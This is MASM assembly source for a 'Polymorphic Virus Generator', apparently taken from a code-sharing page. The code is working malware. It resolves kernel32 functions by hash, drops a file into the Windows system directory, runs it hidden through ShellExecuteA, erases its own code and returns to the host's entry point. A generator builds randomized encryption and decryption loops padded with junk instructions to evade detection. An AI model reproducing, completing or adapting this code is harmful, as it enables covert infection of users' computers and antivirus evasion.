?? pvg.asm
字號:
; Polymorphic Virus Generator
; #########################################################################
.data
TheOpcodes db 0E8h, 000h, 000h, 000h, 000h
db 058h
db 08Bh, 0F0h
db 08Bh, 0FEh
db 0B9h
.code
; Fake proc
VirCodeProc proc
@vir_code_begin::
@code_begin:
; Get kernel handle
assume fs: nothing
xor eax, eax
mov edi, fs: dword ptr[eax]
dec eax
mov ecx, eax
repnz scasd
scasd
mov ebx, [edi]
xor bx, bx
@@:
cmp word ptr[ebx], 'ZM'
jz @inside_kernel32
sub ebx, 10000h
jmp @B
@inside_kernel32:
call $+5
pop ebp
jmp @skip_data
@ebp_ptr:
dd 03b704017h ; CloseHandle +0
dd 0453ace16h ; CreateFileA +4
dd 077cca384h ; GetSystemDirectoryA +8
dd 01db55991h ; WriteFile +12
dd 047216310h ; LoadLibraryA +16
dd 04fc8d9a2h ; GetProcAddress +20
dd 044db6612h ; lstrcatA +24
dd 0b5dafe83h ; SetFileAttributesA +28
dd 0 ; +32
@add_name_str: ; +36
szBglRealNameR
@shell_32_str:
db "shell32.dll",0
@shell_exec_str:
db "ShellExecuteA",0
@shell_open:
db "open",0
@skip_data:
add ebp, 3
; Get functions
mov edx, [ebx+3ch] ; PE
mov esi, [ebx+edx+78h] ; Export Table RVA
lea esi, [ebx+esi+18h] ; Export Table VA+18h
lodsd
xchg eax, ecx ; NumberOfNames
lodsd ; AddressOfFunctions
push eax
lodsd ; AddressOfNames
add eax, ebx
xchg eax, edx
lodsd ; AddressOfNameOrdinals
add eax, ebx
push eax
mov esi, edx
@next_func:
lodsd
add eax, ebx
; Hash
mov edx, 0f1e2d3c4h
push ebx
@calc_hash:
mov ebx, edx
shl edx, 5
shr ebx, 27
or edx, ebx
movzx ebx, byte ptr[eax]
inc eax
add edx, ebx
test ebx, ebx
jnz @calc_hash
pop ebx
; Get offset to ordinal
mov eax, [esp] ; AddressOfNameOrdinals
add dword ptr[esp], 2 ; Move to next ordinal word
mov edi, ebp
@scan_dw_funcs:
cmp dword ptr[edi], edx
.IF ZERO?
; Function found
movzx eax, word ptr[eax] ; Name ordinal
shl eax, 2 ; Multiply by 4
add eax, dword ptr[esp+4]
add eax, ebx
mov eax, dword ptr[eax]
add eax, ebx
stosd
.ELSE
; Skip hash
scasd
.ENDIF
cmp dword ptr[edi], 0
jnz @scan_dw_funcs
loop @next_func
sub esp, 1026-8
mov ebx, esp
; GetSystemDirectory
push MAX_PATH+1
push ebx
call dword ptr[ebp+8]
; lstrcat
mov eax, ebp
add eax, @add_name_str-@ebp_ptr
push eax
push ebx
call dword ptr[ebp+24]
; Set file attributes
push FILE_ATTRIBUTE_NORMAL
push ebx
call dword ptr[ebp+28]
; Create file
push 0
push FILE_ATTRIBUTE_NORMAL
push CREATE_ALWAYS
push NULL
push 0
push GENERIC_WRITE
push ebx
call dword ptr[ebp+4]
mov edi, eax
inc eax
jz @cant_create_file
; WriteFile
push 0
mov eax, ebp ; Ovewrites CreateFile
add eax, 4
push eax
mov eax, ebp
add eax, @f_to_write-@ebp_ptr
mov esi, dword ptr[eax]
push esi
add eax, 4
push eax
push edi
call dword ptr[ebp+12]
; CloseHandle
push edi
call dword ptr[ebp]
; Check if entire file was written
cmp dword ptr[ebp+4], esi
jnz @cant_create_file
; Execute file
; Load shell32.dll
mov eax, ebp
add eax, @shell_32_str-@ebp_ptr
push eax
call dword ptr[ebp+16]
; GetProcAddress(ShellExecuteA)
mov edx, ebp
add edx, @shell_exec_str-@ebp_ptr
push edx
push eax
call dword ptr[ebp+20]
; ShellExecute()
push SW_HIDE
push NULL
push NULL
push ebx
mov edx, ebp
add edx, @shell_exec_str-@shell_open
push edx
push 0
call eax
@cant_create_file:
add esp, 1026
; Erase file data
mov eax, ebp
add eax, @f_to_write-@ebp_ptr
mov ecx, dword ptr[eax]
add ecx, 4
mov edi, eax
xor eax, eax
rep stosb
; Erase virus code
mov edi, ebp
sub edi, @ebp_ptr-@code_begin
mov ecx, @code_end-@code_begin
xor eax, eax
rep stosb
@code_end:
popf
; Jump to OEP
push 012345678h
not dword ptr[esp]
retn
@f_to_write:
@vir_code_end::
VirCodeProc endp
WriteJunk proc
invoke Rand, 2
.IF !eax
; Jump through junk
invoke Rand, 20
inc eax
xor ecx, ecx
mov cl, al
mov al, 0ebh
stosb
mov al, cl
stosb
@l:
push ecx
invoke Rand, 250
stosb
pop ecx
loop @l
.ELSE
; NOPs
invoke Rand, 10
inc eax
mov ecx, eax
mov al, 90h
rep stosb
.ENDIF
ret
WriteJunk endp
MoreJunk proc
invoke Rand, 3
.IF eax
mov ecx, eax
@l:
push ecx
invoke WriteJunk
pop ecx
loop @l
.ENDIF
ret
MoreJunk endp
; Returns: eax - pointer, ecx - length
GenVirCode proc uses esi edi ebx lpData, dwDataLen: DWORD
LOCAL loop_code_encr[128]: BYTE
LOCAL loop_code_decr[128]: BYTE
LOCAL loop_len, real_loop_len: DWORD
LOCAL nop_count1, nop_count2: DWORD
LOCAL rand_add_code: DWORD
; Alloc resulting buffer
mov eax, dwDataLen
add eax, 2048
invoke GlobalAlloc, GMEM_FIXED, eax
mov edi, eax
mov ebx, edi
; pushf
mov ax, 09C66h
stosw
; Initial junk
invoke MoreJunk
; Some junk nops inside decrypt loop
invoke Rand, 4
mov nop_count1, eax
invoke Rand, 3
mov nop_count2, eax
invoke Rand, 8
.IF eax == 4
xor eax, eax
.ENDIF
mov rand_add_code, eax
; Create crypt/decrypt loops
invoke Rand, 20
add eax, 2
mov loop_len, eax
push esi
push edi
mov real_loop_len, 1
lea esi, loop_code_encr
lea edi, loop_code_decr
mov byte ptr[esi], 0ach
inc esi
mov byte ptr[edi], 0ach
inc edi
add esi, 120
@l:
invoke Rand, 5
.IF eax == 0
; rol al, xx
invoke Rand, 50
sub esi, 3
mov word ptr[esi], 0c0c0h
mov byte ptr[esi+2], al
mov word ptr[edi], 0c8c0h
mov byte ptr[edi+2], al
add edi, 3
add real_loop_len, 3
.ELSEIF eax == 1
; nop
dec esi
mov byte ptr[esi], 90h
mov byte ptr[edi], 90h
inc edi
inc real_loop_len
.ELSEIF eax == 2
; ror al, xx
invoke Rand, 50
mov word ptr[edi], 0c0c0h
mov byte ptr[edi+2], al
add edi, 3
sub esi, 3
mov word ptr[esi], 0c8c0h
mov byte ptr[esi+2], al
add real_loop_len, 3
.ELSEIF eax == 3
; rol al, cl
mov word ptr[edi], 0c0d2h
add edi, 2
sub esi, 2
mov word ptr[esi], 0c8d2h
add real_loop_len, 2
.ELSE
; xor al, xx
invoke Rand, 50
sub esi, 2
mov byte ptr[esi], 34h
mov byte ptr[esi+1], al
mov byte ptr[edi], 34h
mov byte ptr[edi+1], al
add edi, 2
add real_loop_len, 2
.ENDIF
dec loop_len
jnz @l
; Move crypt code to beginning of the array
push edi
lea edi, loop_code_encr
inc edi
mov ecx, real_loop_len
dec ecx
rep movsb
pop edi
lea esi, loop_code_encr
add esi, real_loop_len
mov byte ptr[esi], 0aah
inc esi
mov byte ptr[edi], 0aah
inc edi
mov eax, real_loop_len
not eax
sub eax, 2
mov byte ptr[esi], 0e2h
mov byte ptr[esi+1], al
mov byte ptr[esi+2], 0c3h
mov byte ptr[edi], 0e2h
mov byte ptr[edi+1], al
mov byte ptr[edi+2], 0c3h
pop edi
pop esi
add real_loop_len, 3
; call $+5
mov esi, offset TheOpcodes
mov ecx, 5
rep movsb
; pop xxx
xor eax, eax
lodsb
add eax, rand_add_code
stosb
; nops1
mov ecx, nop_count1
mov al, 90h
rep stosb
; add xxx, 999
mov ecx, nop_count1
add ecx, nop_count2
add ecx, real_loop_len
add ecx, 13
mov al, 83h
stosb
mov eax, 0c0h
add eax, rand_add_code
stosb
mov al, cl
stosb
; nops2
mov ecx, nop_count2
mov al, 90h
rep stosb
; mov esi, xxx
movsb
xor eax, eax
lodsb
add eax, rand_add_code
stosb
; mov edi, esi
movsw
; mov ecx, xxx
movsb
mov eax, dwDataLen
stosd
; Write decryption loop
lea esi, loop_code_decr
mov ecx, real_loop_len
rep movsb
; Encrypt data
push edi
mov esi, lpData
mov edi, esi
mov ecx, dwDataLen
lea eax, loop_code_encr
call eax
; Write data
mov esi, lpData
pop edi
mov ecx, dwDataLen
rep movsb
; Get length of the data to write
mov ecx, edi
sub ecx, ebx
mov eax, ebx
ret
GenVirCode endp
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -